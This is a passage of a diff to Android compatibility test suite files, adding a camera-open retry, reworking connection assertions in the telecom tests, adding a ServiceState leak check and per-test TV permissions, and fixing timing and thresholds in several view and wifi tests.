+                .get(CameraCharacteristics.LENS_FACING)
+                == CameraCharacteristics.LENS_FACING_EXTERNAL)
+        if (intent.getBooleanExtra(RETRY_CAM_EXTRA, false) && isExternalCamera) {
+            cameraMaxOpenRetry = 1
+        }
+
         val cameraDeviceCallback = object : CameraDevice.StateCallback() {
             override fun onOpened(cD: CameraDevice) {
                 val imageReader = ImageReader.newInstance(
@@ -149,14 +166,26 @@
 
                 cD.createCaptureSession(sessionConfiguration)
                 cameraDevice = cD
+                cameraOpenRetryCount = 0
             }
 
             override fun onDisconnected(cameraDevice: CameraDevice) {
             }
             override fun onError(cameraDevice: CameraDevice, i: Int) {
+                // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may
+                // be triggered if camera mute is not supported and sensor privacy is enabled
+                if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) {
+                    cameraDevice.close()
+                    cameraOpenRetryCount++
+                    handler.postDelayed({ openCam() }, RETRY_TIMEOUT)
+                }
             }
         }
 
-        cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
+        try {
+            cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
+        } catch (e: android.hardware.camera2.CameraAccessException) {
+            Log.e(TAG, "openCamera: " + e)
+        }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
index 82be3e2..7e0bdcc 100644
--- a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -36,6 +36,7 @@
 import com.android.compatibility.common.util.SystemUtil
 import com.android.compatibility.common.util.ThrowingSupplier
 import org.junit.Assume
+import org.junit.Ignore
 import org.junit.Test
 import org.junit.runner.RunWith
 import kotlin.test.assertTrue
@@ -73,6 +74,7 @@
 
     /** Ensure an app can be launched into pip mode from the screensaver state. */
     @Test
+    @Ignore("b/163116693")
     fun openPip_afterScreenSaver() {
         runWithDreamManager { dreamManager ->
             dreamManager.dream()
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 5ab5a90..439b377 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -664,8 +664,16 @@
             currentConnections++;
             currentCallCount++;
         }
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
-                currentCallCount);
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(currentConnections);
+
         // Ensure the new outgoing call broadcast fired for the outgoing call.
         assertOutgoingCallBroadcastReceived(true);
 
@@ -698,7 +706,16 @@
     void placeAndVerifyCall(Bundle extras, int videoState) {
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         // We expect placing the call adds a new call/connection.
-        placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+        int expectedConnections = getNumberOfConnections() + 1;
+        placeAndVerifyCall(extras, videoState, currentCallCount + 1);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(expectedConnections);
         assertOutgoingCallBroadcastReceived(true);
 
         // CTS test does not have read call log permission so should not get the phone number.
@@ -709,8 +726,7 @@
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
-            int expectedCallCount) {
+    void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) {
         assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
         placeNewCallWithPhoneAccount(extras, videoState);
 
@@ -730,15 +746,6 @@
 
         assertEquals("InCallService should match the expected count.", expectedCallCount,
                 mInCallCallbacks.getService().getCallCount());
-
-        // The connectionService.lock is released in
-        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
-        // actually be added to the list of connections in the ConnectionService until shortly
-        // afterwards.  So there is still a potential for the lock to be released before it would
-        // be seen by calls to ConnectionService#getAllConnections().
-        // We will wait here until the list of connections includes one more connection to ensure
-        // that placing the call has fully completed.
-        assertCSConnections(expectedConnectionCount);
     }
 
     /**
@@ -752,14 +759,26 @@
     public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
         Bundle extras = new Bundle();
         extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        // We want to request the active connections vs number of connections because in some cases,
+        // we wait to destroy the underlying connection to prevent race conditions. This will result
+        // in Connections in the DISCONNECTED state.
         int currentConnectionCount = supportsHold ?
-                getNumberOfConnections() + 1 : getNumberOfConnections();
+                getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections();
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
         // The device only supports a max of two calls active at any one time
         currentCallCount = Math.min(currentCallCount, 2);
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
-                currentCallCount);
+
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertActiveCSConnections(currentConnectionCount);
+
         assertOutgoingCallBroadcastReceived(true);
         Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
         TestUtils.waitOnAllHandlers(getInstrumentation());
@@ -770,6 +789,12 @@
         return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
+    int getNumberOfActiveConnections() {
+        return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+                .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect(
+                        Collectors.toSet()).size();
+    }
+
     Connection getConnection(Uri address) {
         return CtsConnectionService.getAllConnectionsFromTelecom().stream()
                 .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
@@ -1217,6 +1242,23 @@
     );
     }
 
+    void assertActiveCSConnections(final int numConnections) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+                                              @Override
+                                              public Object expected() {
+                                                  return numConnections;
+                                              }
+
+                                              @Override
+                                              public Object actual() {
+                                                  return getNumberOfActiveConnections();
+                                              }
+                                          },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "ConnectionService should contain " + numConnections + " connections."
+        );
+    }
+
     void assertCSConnections(final int numConnections) {
         waitUntilConditionIsTrueOrTimeout(new Condition() {
                                               @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 47b1462..a1d9e6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -85,7 +85,9 @@
 
         Uri normalCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -94,6 +96,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
@@ -123,7 +126,9 @@
 
         Uri normalIncomingCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -132,6 +137,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 299ffba..f8945ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -60,6 +60,7 @@
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
     private RttTextStream mRttTextStream;
+    private boolean mAutoDestroy = true;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
 
@@ -91,7 +92,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -99,7 +100,7 @@
         super.onReject(rejectReason);
         setDisconnected(new DisconnectCause(DisconnectCause.REJECTED,
                 Integer.toString(rejectReason)));
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -109,7 +110,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -137,7 +138,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.disconnect();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -147,7 +148,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.abort();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -279,6 +280,14 @@
         }
     }
 
+    /**
+     * Do not destroy after setting disconnected for cases that need finer state control. If
+     * disabled the caller will need to call destroy manually.
+     */
+    public void disableAutoDestroy() {
+        mAutoDestroy = false;
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
index b3cda70..5d76420 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -170,24 +170,32 @@
 
     @Test
     public void testNrStateRedacted() {
+        // Verify that NR State is not leaked in user builds.
+        if (Build.IS_DEBUGGABLE) return;
         final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class);
 
-        // Verify that NR State is not leaked in user builds.
-        if (!Build.IS_DEBUGGABLE) {
-            final String sss = tm.getServiceState().toString();
-            // The string leaked in previous releases is "nrState=<val>"; test that there is
-            // no matching or highly similar string leak, such as:
-            // nrState=NONE
-            // nrState=0
-            // mNrState=RESTRICTED
-            // NRSTATE=NOT_RESTRICTED
-            // nrState = CONNECTED
-            // etc.
-            Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
-            Matcher m = p.matcher(sss);
-            // Need to use if (find) fail to ensure that the start and end are populated
-            if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
-        }
+        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED);
+
+        final ServiceState ss = new ServiceState();
+        ss.addNetworkRegistrationInfo(nri);
+        String sss = ss.toString();
+
+        // The string leaked in previous releases is "nrState=<val>"; test that there is
+        // no matching or highly similar string leak, such as:
+        // nrState=NONE
+        // nrState=0
+        // mNrState=RESTRICTED
+        // NRSTATE=NOT_RESTRICTED
+        // nrState = CONNECTED
+        // etc.
+        Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
+        Matcher m = p.matcher(sss);
+        // Need to use if (find) fail to ensure that the start and end are populated
+        if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index c707d0e..e7a6286 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -557,6 +557,9 @@
             assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } catch (SecurityException e) {
             fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // We are only testing method permissions here, so the actual ImsException does not
+            // matter, since it shows that the permission check passed.
         }
         try {
             LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
diff --git a/tests/tests/toast/OWNERS b/tests/tests/toast/OWNERS
index a399472..47186b7 100644
--- a/tests/tests/toast/OWNERS
+++ b/tests/tests/toast/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 137825
 svetoslavganov@google.com
+toddke@google.com
 patb@google.com
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 055b75d..4938737 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -37,6 +37,8 @@
 import android.test.MoreAsserts;
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Arrays;
@@ -113,6 +115,11 @@
     private static final String[] NON_EXISTING_COLUMN_NAMES =
             {"non_existing_column", "another non-existing column --"};
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private String mInputId;
     private ContentResolver mContentResolver;
     private Uri mChannelsUri;
@@ -123,6 +130,11 @@
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
         mInputId = TvContract.buildInputId(
                 new ComponentName(getContext(), StubTunerTvInputService.class));
         mContentResolver = getContext().getContentResolver();
@@ -138,6 +150,9 @@
         mContentResolver.delete(Channels.CONTENT_URI, null, null);
         mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null);
         mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 3504568..87b8913 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -68,6 +68,17 @@
     private static final TvContentRating DUMMY_RATING = TvContentRating.createRating(
             "com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L");
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+    private static final String PERMISSION_ACCESS_TUNED_INFO =
+            "android.permission.ACCESS_TUNED_INFO";
+    private static final String PERMISSION_TV_INPUT_HARDWARE =
+            "android.permission.TV_INPUT_HARDWARE";
+    private static final String PERMISSION_TUNER_RESOURCE_ACCESS =
+            "android.permission.TUNER_RESOURCE_ACCESS";
+
     private String mStubId;
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
@@ -98,6 +109,16 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS,
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_ACCESS_TUNED_INFO,
+                        PERMISSION_TUNER_RESOURCE_ACCESS);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -113,9 +134,6 @@
         }
         assertNotNull(mStubTunerTvInputInfo);
         mTvView.setCallback(mMockCallback);
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity();
     }
 
     @Override
@@ -141,7 +159,6 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
-
         super.tearDown();
     }
 
@@ -397,6 +414,14 @@
         if (mManager == null) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_TV_INPUT_HARDWARE);
+
         // Update hardware device list
         int deviceId = 0;
         boolean hardwareDeviceAdded = false;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index a562734..13effcd 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -34,9 +34,10 @@
 import android.util.SparseIntArray;
 import android.view.InputEvent;
 import android.view.KeyEvent;
-
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.ArrayList;
@@ -51,6 +52,11 @@
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT_MS = 15000L;
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private TvView mTvView;
     private Activity mActivity;
     private Instrumentation mInstrumentation;
@@ -170,6 +176,13 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -207,6 +220,9 @@
             throw new RuntimeException(t);
         }
         mInstrumentation.waitForIdleSync();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 7b63e41..af2b120 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -64,7 +64,7 @@
                 .getUiAutomation();
 
         // Inject key down event for back
-        long currentTime = System.currentTimeMillis();
+        long currentTime = SystemClock.uptimeMillis();
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_BACK, 0), true);
 
@@ -79,7 +79,7 @@
         assertTrue(mActivity.sawBackDown());
         assertFalse(mActivity.sawBackUp());
 
-        currentTime = System.currentTimeMillis();
+        currentTime = SystemClock.uptimeMillis();
         // Inject key up event for back
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
                 KeyEvent.KEYCODE_BACK, 0), true);
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 502170d..8a1f853 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -73,6 +73,7 @@
 import java.nio.ByteOrder;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -894,31 +895,29 @@
 
     private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
             int bottomLeft, int bottomRight, int threshold) {
-        try {
-            // Just quickly sample 4 pixels in the various regions.
-            assertTrue("Top left", pixelsAreSame(topLeft,
-                    getPixelFloatPos(bitmap, .25f, .25f), threshold));
-            assertTrue("Top right", pixelsAreSame(topRight,
-                    getPixelFloatPos(bitmap, .75f, .25f), threshold));
-            assertTrue("Bottom left", pixelsAreSame(bottomLeft,
-                    getPixelFloatPos(bitmap, .25f, .75f), threshold));
-            assertTrue("Bottom right", pixelsAreSame(bottomRight,
-                    getPixelFloatPos(bitmap, .75f, .75f), threshold));
+        Function<Float, Integer> getX = (Float x) -> (int) (bitmap.getWidth() * x);
+        Function<Float, Integer> getY = (Float y) -> (int) (bitmap.getHeight() * y);
 
-            float below = .45f;
-            float above = .55f;
-            assertTrue("Top left II", pixelsAreSame(topLeft,
-                    getPixelFloatPos(bitmap, below, below), threshold));
-            assertTrue("Top right II", pixelsAreSame(topRight,
-                    getPixelFloatPos(bitmap, above, below), threshold));
-            assertTrue("Bottom left II", pixelsAreSame(bottomLeft,
-                    getPixelFloatPos(bitmap, below, above), threshold));
-            assertTrue("Bottom right II", pixelsAreSame(bottomRight,
-                    getPixelFloatPos(bitmap, above, above), threshold));
-        } catch (AssertionError err) {
-            BitmapDumper.dumpBitmap(bitmap, mTestName.getMethodName(), "PixelCopyTest");
-            throw err;
-        }
+        // Just quickly sample 4 pixels in the various regions.
+        assertBitmapColor("Top left", bitmap, topLeft,
+                getX.apply(.25f), getY.apply(.25f), threshold);
+        assertBitmapColor("Top right", bitmap, topRight,
+                getX.apply(.75f), getY.apply(.25f), threshold);
+        assertBitmapColor("Bottom left", bitmap, bottomLeft,
+                getX.apply(.25f), getY.apply(.75f), threshold);
+        assertBitmapColor("Bottom right", bitmap, bottomRight,
+                getX.apply(.75f), getY.apply(.75f), threshold);
+
+        float below = .4f;
+        float above = .6f;
+        assertBitmapColor("Top left II", bitmap, topLeft,
+                getX.apply(below), getY.apply(below), threshold);
+        assertBitmapColor("Top right II", bitmap, topRight,
+                getX.apply(above), getY.apply(below), threshold);
+        assertBitmapColor("Bottom left II", bitmap, bottomLeft,
+                getX.apply(below), getY.apply(above), threshold);
+        assertBitmapColor("Bottom right II", bitmap, bottomRight,
+                getX.apply(above), getY.apply(above), threshold);
     }
 
     private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
@@ -941,7 +940,7 @@
                 bitmap.getWidth() - 3, bitmap.getHeight() / 2);
     }
 
-    private boolean pixelsAreSame(int ideal, int given, int threshold) {
+    private static boolean pixelsAreSame(int ideal, int given, int threshold) {
         int error = Math.abs(Color.red(ideal) - Color.red(given));
         error += Math.abs(Color.green(ideal) - Color.green(given));
         error += Math.abs(Color.blue(ideal) - Color.blue(given));
@@ -954,8 +953,13 @@
     }
 
     private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y) {
+        assertBitmapColor(debug, bitmap, color,  x, y, 10);
+    }
+
+    private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y,
+            int threshold) {
         int pixel = bitmap.getPixel(x, y);
-        if (!pixelsAreSame(color, pixel, 10)) {
+        if (!pixelsAreSame(color, pixel, threshold)) {
             fail(bitmap, debug + "; expected=" + Integer.toHexString(color) + ", actual="
                     + Integer.toHexString(pixel));
         }
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 72cff7f..67a12a0 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
@@ -160,7 +161,7 @@
     }
 
     @Test
-    public void testToggleViaEmulatedTap() {
+    public void testToggleViaEmulatedTap() throws Throwable {
         final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
                 mock(RadioButton.OnCheckedChangeListener.class);
         mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
@@ -170,7 +171,8 @@
 
         // tap to checked
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mRadioButton);
-        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        // wait for the posted onClick() after the tap
+        verify(mockCheckedChangeListener, timeout(5000)).onCheckedChanged(mRadioButton, true);
         assertTrue(mRadioButton.isChecked());
 
         // tap to not checked - this should leave the radio button in checked state
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 7fa5134..30be41c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -618,15 +618,17 @@
 
             // Restart wifi subsystem.
             mWifiManager.restartWifiSubsystem();
+
+            // wait for scorer to stop session due to network disconnection.
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
             // Wait for the device to connect back.
             PollingCheck.check(
                     "Wifi not connected",
                     WIFI_CONNECT_TIMEOUT_MILLIS * 2,
                     () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
 
-            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
-            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
-
             // Followed by a new onStart() after the connection.
             // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
             // invoked, so this should not be racy.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
index 55b7366..271035f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -76,6 +76,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -96,6 +97,7 @@
         // skip the test if WiFi is not supported or not automotive platform.
         // Don't use assumeTrue in @BeforeClass
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -122,9 +124,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -138,6 +140,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = mContext.getSystemService(WifiManager.class);
